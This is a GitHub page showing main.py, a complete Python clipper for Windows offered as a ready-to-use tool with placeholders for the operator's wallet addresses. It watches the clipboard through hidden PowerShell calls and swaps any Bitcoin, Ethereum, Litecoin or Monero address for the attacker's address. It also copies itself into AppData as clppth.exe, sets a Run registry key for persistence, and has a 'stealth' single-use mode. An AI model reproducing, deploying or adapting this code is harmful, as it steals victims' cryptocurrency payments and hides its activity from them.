-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.py
154 lines (146 loc) · 6.67 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import subprocess
import winreg
import shutil
import time
import sys
import re
import os
btcaddr = "SET BTC ADDRESS HERE" # if no BTC address leave as SET BTC ADDRESS HERE
ethaddr = "SET ETH ADDRESS HERE" # if no ETH address leave as SET ETH ADDRESS HERE
ltcaddr = "SET LTC ADDRESS HERE" # if no LTC address leave as SET LTC ADDRESS HERE
xmraddr = "SET XMR ADDRESS HERE" # if no XMR address leave as SET XMR ADDRESS HERE
single_use = False # if set to True, program will only ever clip one address. After this happens it wont ever clip again. Sort of like a stealth module.
def is_crypto_addr(clipboard_text):
try:
btc_address_pattern = r"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$"
eth_address_pattern = r"^(0x)?[0-9a-fA-F]{40}$"
ltc_address_pattern = r"^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"
xmr_address_pattern = r"^4[0-9AB][0-9a-zA-Z]{93}$"
if re.match(btc_address_pattern, clipboard_text):
return "BTC"
elif re.match(eth_address_pattern, clipboard_text):
return "ETH"
elif re.match(ltc_address_pattern, clipboard_text):
return "LTC"
elif re.match(xmr_address_pattern, clipboard_text):
return "XMR"
else:
return False
except Exception:
return False
def main():
while True:
try:
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
clipboard_text = subprocess.check_output(['powershell', '-command', 'Get-Clipboard'], stderr=subprocess.DEVNULL,
startupinfo=startupinfo).decode().strip()
try:
var = is_crypto_addr(clipboard_text)
if var == "BTC":
if btcaddr != "SET BTC ADDRESS HERE":
subprocess.run(['powershell', '-command', f'Set-Clipboard -Value "{btcaddr}"'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
if single_use:
with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), "w") as o:
o.write("True")
o.close()
sys.exit()
else:
pass
elif var == "ETH":
if ethaddr != "SET ETH ADDRESS HERE":
subprocess.run(['powershell', '-command', f'Set-Clipboard -Value "{ethaddr}"'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
if single_use:
with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), "w") as o:
o.write("True")
o.close()
sys.exit()
else:
pass
elif var == "LTC":
if ltcaddr != "SET LTC ADDRESS HERE":
subprocess.run(['powershell', '-command', f'Set-Clipboard -Value "{ltcaddr}"'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
if single_use:
with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), "w") as o:
o.write("True")
o.close()
sys.exit()
else:
pass
elif var == "XMR":
if xmraddr != "SET XMR ADDRESS HERE":
subprocess.run(['powershell', '-command', f'Set-Clipboard -Value "{xmraddr}"'],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, startupinfo=startupinfo)
if single_use:
with open(os.path.join(os.environ['APPDATA'], 'Storage0', 'storage.txt'), "w") as o:
o.write("True")
o.close()
sys.exit()
else:
pass
else:
pass
except Exception:
pass
except Exception:
pass
time.sleep(0.15)
def dupe_self():
try:
current_script = os.path.abspath(sys.executable)
appdata_path = os.environ['APPDATA']
duplicate_directory = os.path.join(appdata_path, 'CLPPTH')
os.makedirs(duplicate_directory, exist_ok=True)
duplicate_script = os.path.join(duplicate_directory, "clppth.exe")
shutil.copyfile(current_script, duplicate_script)
return duplicate_script
except Exception:
return None
def add_reg(dupe_path):
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
key = winreg.HKEY_CURRENT_USER
with winreg.OpenKey(key, key_path, 0, winreg.KEY_ALL_ACCESS) as reg_key:
try:
winreg.QueryValueEx(reg_key, "CLPPTH")
except FileNotFoundError:
winreg.SetValueEx(reg_key, "CLPPTH", 0, winreg.REG_SZ, dupe_path)
except Exception:
pass
def check():
try:
folder_name = "Storage0"
appdata_path = os.environ['APPDATA']
folder_path = os.path.join(appdata_path, folder_name)
if not os.path.exists(os.path.join(folder_path, "storage.txt")):
os.makedirs(folder_path, exist_ok=True)
with open(os.path.join(folder_path, "storage.txt"), "w"):
pass
dupe_path = dupe_self()
if dupe_path:
add_reg(dupe_path)
main()
else:
with open(os.path.join(folder_path, "storage.txt"), "r") as o:
ln1 = o.readline().strip('\n')
if ln1 != "True":
main()
else:
try:
key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
key = winreg.HKEY_CURRENT_USER
with winreg.OpenKey(key, key_path, 0, winreg.KEY_ALL_ACCESS) as reg_key:
winreg.DeleteValue(reg_key, "CLPPTH")
except Exception:
pass
except Exception:
pass
if __name__ == "__main__":
try:
if os.name == "nt":
check()
except Exception:
pass